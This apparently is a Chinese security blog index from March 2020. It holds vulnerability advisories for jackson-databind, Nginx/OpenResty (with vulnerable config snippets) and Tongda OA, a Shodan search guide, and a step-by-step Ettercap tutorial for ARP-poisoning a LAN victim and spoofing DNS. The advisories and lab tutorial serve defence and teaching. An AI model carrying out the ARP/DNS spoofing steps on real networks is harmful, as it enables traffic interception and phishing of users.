2.8.11.5安全建议以下任意一种方法均可实现漏洞修复1、针对使用到jackson-databind组件的web服务升级jackson-databind组件至安全版本:https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-databind/2.9.10.3/https://github.com/FasterXML/jackson-databind/releases2、针对无法升级jackson-databind的,排查并将xbean-reflect-*.jar组件从应用依赖中移除可阻止漏洞攻击(可能会导致应用不可用风险)相关链接https://github.com/FasterXML/jackson-databind/issues/2620https://nvd.nist.gov/vuln/detail/CVE-2020-8840https://github.com/FasterXML/jackson-databind/releases
2020年03月25日
295 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】Nginx/OpenResty 特殊配置下内存泄漏与目录穿越漏洞
漏洞描述Nginx是一个高性能的HTTP和反向代理web服务器,OpenResty是一个基于 Nginx 与 Lua 的高性能Web平台。近日国外安全研究者公开了Nginx/OpenResty在特殊配置下存在内存泄漏或目录穿越漏洞详情。由于Nginx在rewrite功能实现上存在缺陷,以及OpenResty在ngx.req.set_uri()实现上存在缺陷,如果Nginx配置文件中使用了rewrite或者ngx.req.set_uri(),则攻击者可能可以通过构造恶意请求,从而造成内存泄漏或者目录穿越漏洞。影响版本nginx <= v1.17.7openresty <= v1.15.8.2安全建议1. Nginx更新至安全版本>=v1.17.92. 以下是存在漏洞的配置片段,建议用户自检查配置文件,并禁用相关危险配置。location ~ /memleak { rewrite_by_lua_block { ngx.req.read_body(); local args, err = ngx.req.get_post_args(); ngx.req.set_uri( args["url"], true ); } } location ~ /rewrite { rewrite ^.*$ $arg_x; } 相关链接https://www.openwall.com/lists/oss-security/2020/03/18/1https://hackerone.com/reports/513236
2020年03月25日
285 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】通达OA 高危漏洞预警
漏洞描述通达OA是一套办公系统。近日通达OA官方在官方论坛披露了近期一起通达OA用户服务器遭受勒索病毒攻击事件。攻击者通过构造恶意请求,上传webshell等恶意文件,并对入侵的服务器进行文件加密,勒索高额匿名货币赎金。影响版本V11版2017版2016版2015版2013增强版2013版安全建议通达OA官方已经发布相应安全加固程序,请根据当前OA版本选择所对应的程序文件,运行前请先做好备份。安全更新下载地址:http://www.tongda2000.com/news/673.php相关链接http://club.tongda2000.com/forum.php?mod=viewthread&tid=128377&extra=page%3D1
2020年03月25日
91 阅读
0 评论
0 点赞
2020-03-24
Shodan使用指南
前言Shodan是一个搜素互联网链接设备的搜索引擎,不同于Google、Baidu这些搜素引擎。用户可以在Shodan上使用Shodan搜索语法查找链接到互联网的摄像头、路由器、服务器等设备信息。在渗透测试中是个非常非常不错的神器。Shodan的工作原理Shodan 通过扫描全网设备并抓取解析各个设备返回的 banner 信息,通过了解这些信息 Shodan 就能得知网络中哪一种 Web 服务器是最受欢迎的,或是网络中到底存在多少可匿名登录的 FTP 服务器。注:banner信息:用于描述设备所运行服务的标志性文本信息。Shodan的使用在使用Shodan之前我们需要注册一个Shodan账户,之后才可以使用:Shodan的使用方法较为简单,你可以将其当成一个“网络区域的”浏览器,之所以这样说是因为它具备搜索引擎的功能,而且是主要面对于网络设备的。Shodan初试条目介绍:左侧部分:Top Countries 使用最多的国家 Top services 使用最多的服务 Top organizations 使用最多的组织 Top operating systems 使用最多的操作系统 Top products (Software name) 使用最多的产品中间部分:涉及与搜素关键词有关的Target,主要包含的信息有:IP地址 主机名 该主机所处国家、区域 该条目的收录收录时间 Banner信息如果想要获得更加详细的信息可以点击“Details”之后获取与此目标相关的信息内容:Shodan的使用语法面对大量的信息量,如果要获取我们想要的目标信息,那么就必须附加限制条件缩小范围是最后的结果更加精确,与Google一样Shodan也有相应的语言可以使用:hostname——————————搜索指定的主机或域名,例如 hostname:baidu port——————————————搜索指定的端口或服务,例如 port:80 country———————————搜索指定的国家,例如 country:US city——————————————搜索指定的城市,例如 city:Chengdu org———————————————搜索指定的组织或公司,例如 org:"Google" isp———————————————搜索指定的ISP供应商,例如 isp:"China Telecom" product———————————搜索指定的操作系统/软件/平台,例如 product:"Apache httpd" version———————————搜索指定的软件版本,例如 version:"1.6.2" geo———————————————搜索指定的地理位置,参数为经纬度,例如 geo:"31.8639, 117.2808" before/after——————搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:"11-11-15" net———————————————搜索指定的IP地址或子网,例如 net:"210.45.240.0/24" 查找位于国内的Nginx服务器nginx country:"CN"查找 GWS(Google Web Server) 服务器:"Server: gws" hostname:"google"查找指定网段的华为设备:huawei net:"61.191.146.0/24"如上通过在基本关键字后增加指定的过滤关键字,能快速的帮助发现我们感兴趣的内容。当然,还有更快速更有意思的方法,那就是点击 Shodan 搜索栏右侧的 “Explore” 按钮,就会得到很多别人分享的搜索语法命令行下使用 ShodanShodan 是由官方提供的 Python 库的,项目位于:https://github.com/achillean/shodan-python安装pip install shodan或者git clone https://github.com/achillean/shodan-python.git && cd shodan-python python setup.py install安装完后我们先看下帮助信息:➜ ~ shodan -h Usage: shodan [OPTIONS] COMMAND [ARGS]... Options: -h, --help Show this message and exit. Commands: alert Manage the network alerts for your account # 管理账户的网络提示 convert Convert the given input data file into a... # 转换输入文件 count Returns the number of results for a search # 返回查询结果数量 download Download search results and save them in a... # 下载查询结果到文件 honeyscore Check whether the IP is a honeypot or not. # 检查 IP 是否为蜜罐 host View all available information for an IP... # 显示一个 IP 所有可用的详细信息 info Shows general information about your account # 显示账户的一般信息 init Initialize the Shodan command-line # 初始化命令行 myip Print your external IP address # 输出用户当前公网IP parse Extract information out of compressed JSON... # 解析提取压缩的JSON信息,即使用download下载的数据 scan Scan an IP/ netblock using Shodan. # 使用 Shodan 扫描一个IP或者网段 search Search the Shodan database # 查询 Shodan 数据库 stats Provide summary information about a search... # 提供搜索结果的概要信息 stream Stream data in real-time. # 实时显示流数据常用示例init初始化命令行工具。➜ ~ shodan init [API_Key] Successfully initializedcount返回查询的结果数量。➜ ~ shodan count microsoft iis 6.0 575862download将搜索结果下载到一个文件中,文件中的每一行都是 JSON 格式存储的目标 banner 信息。默认情况下,该命令只会下载1000条结果,如果想下载更多结果需要增加--limit 参数。
2020年03月24日
792 阅读
0 评论
0 点赞
2020-03-23
Ettercap实现局域网DNS劫持
环境准备:1.kali系统;2.用到的软件:kali中的Ettercap,一个集成工具,里面包括了局域网主机扫描,arp欺骗,DNS劫持等功能;3.受害PC:自己的虚拟机中的系统centos。原理DNS,全称为域名解析协议,是一种将域名解析为ip地址的协议,基于UDP的53端口。比如我们在浏览器访问百度域名,会先向dns服务器发送一次dns请求报文,询问百度的ip地址,dns服务器经过查询(或递归查询)会将百度的域名以及对应的ip地址以dns响应报文的形式发回给我们,然后我们才可以与所对应的ip建立TCP连接进行网络通信。dns劫持建立在arp欺骗的基础上,关于arp的文章之前有写过,链接:arp协议分析&python编程实现arp欺骗抓图片,通过arp欺骗可以监听受害者机器到网关之间的流量,如果可以过滤协议为UDP,端口为53端口的数据报文,也就是DNS报文,并且将dns响应中的域名所对应的ip地址改写成我们服务器的ip,受害者机器就会与我们的机器进行连接通信,这就是dns投毒的基本原理,kali的Ettercap就可以做到这一点。1.打开ettercap的DNS文件进行编辑,文件路径为/etc/ettercap/etter.dns2.编辑/var/www/html/index.html文件 改成你定义页面 当然,如果你劫持到公网的某个地址,你可以跳过这步的3.输入命令ettercap -G来进入ettercap的图形界面4.选择网卡点击Sniff–>Unfied sniffing—配置,网卡选择eth05.接下来点击Hosts–>Scan for hosts,扫描局域网中存活的ip,寻找攻击目标6.显示扫到四个主机,点击Hosts list查看7.将网关192.168.75.1 Add to Target1,将受害PC192.168.75.131 Add to Target28.然后点击Mitm–>ARP poisoning9.勾选Sniff remote connections10.ARP欺骗便开始了11.下面开始dns劫持,点击Plugins–>Manage the plugins12.选择dns_spood插件,便开始dns欺骗了13.最后点击strat>start sniffing
2020年03月23日
197 阅读
0 评论
0 点赞
1
...
3
4
5